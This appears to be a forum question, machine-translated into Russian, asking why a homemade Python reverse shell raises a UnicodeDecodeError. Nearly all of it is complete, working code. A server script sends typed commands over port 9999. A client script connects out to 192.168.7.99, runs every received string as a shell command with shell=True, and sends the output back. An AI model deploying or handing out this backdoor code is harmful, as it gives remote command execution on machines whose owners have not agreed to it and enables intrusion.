Я пытаюсь сделать обратную оболочку, используя python. Когда я пытаюсь отправить команды с сервера на клиент, я получаю следующую ошибку:
файл "client.py" строка 16, в output_str = str UnicodeDecoderError; код 'utf-8' c не может декодировать байт 0 * 82 в позиции 53: недопустимый начальный байт
server.py:
import socket
import sys
def create_socket():
try:
global host
global port
global s
host=""
port=9999
s = socket.socket()
except socket.error as msg:
print("socket creation error" +str(msg))
def bind_socket():
try:
global host
global port
global s
print("binding the port" + str(port))
s.bind((host,port))
s.listen(5)
except socket.error as msg:
print("socket binding error"+str(msg)+"\n" + "Retrying ....")
bind_socket()
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0 :
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def socket_accept():
conn,address = s.accept()
print("connection has been established" + "ip"+address[0]+"port" +str(address[1]))
send_commands(conn)
conn.close()
def main():
create_socket()
bind_socket()
socket_accept()
main()
client.py:
import socket
import os
import subprocess
s = socket.socket()
host = '192.168.7.99'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)